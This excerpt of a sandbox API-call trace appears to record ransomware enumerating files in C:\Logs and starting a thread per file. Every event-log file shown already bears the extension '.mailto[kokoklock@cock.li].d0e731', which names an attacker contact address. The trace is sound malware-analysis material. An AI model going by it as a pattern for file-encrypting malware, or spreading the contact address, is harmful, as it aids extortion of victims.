returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0163.821] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e381613, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIB8BB~1.D0E")) returned 1 [0163.821] wcscmp (_String1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.821] wcscmp (_String1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.821] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f969a8 [0163.821] wcscpy (in: _Dest=0x2f969a8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.821] wcscat (in: _Dest=0x2f969a8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.821] wcscat (in: _Dest=0x2f969a8, _Source="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f969a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0163.822] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0x7e3f3d68, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI8977~1.D0E")) returned 1 [0163.822] wcscmp (_String1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.822] wcscmp (_String1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.822] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2f7db28 [0163.822] wcscpy (in: _Dest=0x2f7db28, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.822] wcscat (in: _Dest=0x2f7db28, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.822] wcscat (in: _Dest=0x2f7db28, _Source="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f7db28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0163.823] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e3f3d68, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIC5E0~1.D0E")) returned 1 [0163.823] wcscmp (_String1="Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.823] wcscmp (_String1="Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.823] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f96a68 [0163.823] wcscpy (in: _Dest=0x2f96a68, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.823] wcscat (in: _Dest=0x2f96a68, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.823] wcscat (in: _Dest=0x2f96a68, _Source="Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0163.824] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e44017a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIC984~1.D0E")) returned 1 [0163.824] wcscmp (_String1="Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.824] wcscmp (_String1="Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.824] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f97f58 [0163.824] wcscpy (in: _Dest=0x2f97f58, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.824] wcscat (in: _Dest=0x2f97f58, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.824] wcscat (in: _Dest=0x2f97f58, _Source="Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0163.825] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e4666c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI441B~1.D0E")) returned 1 [0163.825] wcscmp (_String1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.825] wcscmp (_String1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.825] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2f98018 [0163.825] wcscpy (in: _Dest=0x2f98018, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.825] wcscat (in: _Dest=0x2f98018, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.825] wcscat (in: _Dest=0x2f98018, _Source="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0163.826] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e48c748, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIDC89~1.D0E")) returned 1 [0163.826] wcscmp (_String1="Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.826] wcscmp (_String1="Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.826] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f980e0 [0163.826] wcscpy (in: _Dest=0x2f980e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.826] wcscat (in: _Dest=0x2f980e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.826] wcscat (in: _Dest=0x2f980e0, _Source="Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f980e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0163.827] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e4d8aab, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI3010~1.D0E")) returned 1 [0163.827] wcscmp (_String1="Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.827] wcscmp (_String1="Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.827] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f981a0 [0163.827] wcscpy (in: _Dest=0x2f981a0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.827] wcscat (in: _Dest=0x2f981a0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.827] wcscat (in: _Dest=0x2f981a0, _Source="Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f981a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0163.828] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e4ff03a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIE198~1.D0E")) returned 1 [0163.828] wcscmp (_String1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.828] wcscmp (_String1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.828] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f98260 [0163.828] wcscpy (in: _Dest=0x2f98260, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.828] wcscat (in: _Dest=0x2f98260, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.828] wcscat (in: _Dest=0x2f98260, _Source="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0163.829] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f234bd9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI2956~1.D0E")) returned 1 [0163.829] wcscmp (_String1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.829] wcscmp (_String1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.829] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f98320 [0163.829] wcscpy (in: _Dest=0x2f98320, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.829] wcscat (in: _Dest=0x2f98320, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.829] wcscat (in: _Dest=0x2f98320, _Source="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kokoklock@cock.li].d0e731" [0163.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0163.829] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e6a29c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI34D8~1.D0E")) returned 1 [0163.829] wcscmp (_String1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.830] wcscmp (_String1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.830] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2f88090 [0163.830] wcscpy (in: _Dest=0x2f88090, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.830] wcscat (in: _Dest=0x2f88090, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.830] wcscat (in: _Dest=0x2f88090, _Source="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f88090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0163.830] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7e6eec28, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI119D~1.D0E")) returned 1 [0163.830] wcscmp (_String1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.830] wcscmp (_String1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.830] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x2f983e0 [0163.830] wcscpy (in: _Dest=0x2f983e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.830] wcscat (in: _Dest=0x2f983e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.831] wcscat (in: _Dest=0x2f983e0, _Source="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f983e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0163.831] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f38e712, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI677D~1.D0E")) returned 1 [0163.831] wcscmp (_String1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.831] wcscmp (_String1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2f984a8 [0163.831] wcscpy (in: _Dest=0x2f984a8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.831] wcscat (in: _Dest=0x2f984a8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.832] wcscat (in: _Dest=0x2f984a8, _Source="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f984a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0163.832] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80082c17, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIA5A4~1.D0E")) returned 1 [0163.832] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.832] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6dc60 [0163.832] wcscpy (in: _Dest=0x2f6dc60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.832] wcscat (in: _Dest=0x2f6dc60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.832] wcscat (in: _Dest=0x2f6dc60, _Source="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" [0163.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6dc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0163.833] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80082c17, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI04A0~1.D0E")) returned 1 [0163.833] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.833] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f98570 [0163.833] wcscpy (in: _Dest=0x2f98570, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.833] wcscat (in: _Dest=0x2f98570, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.833] wcscat (in: _Dest=0x2f98570, _Source="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0163.834] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80082c17, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731", 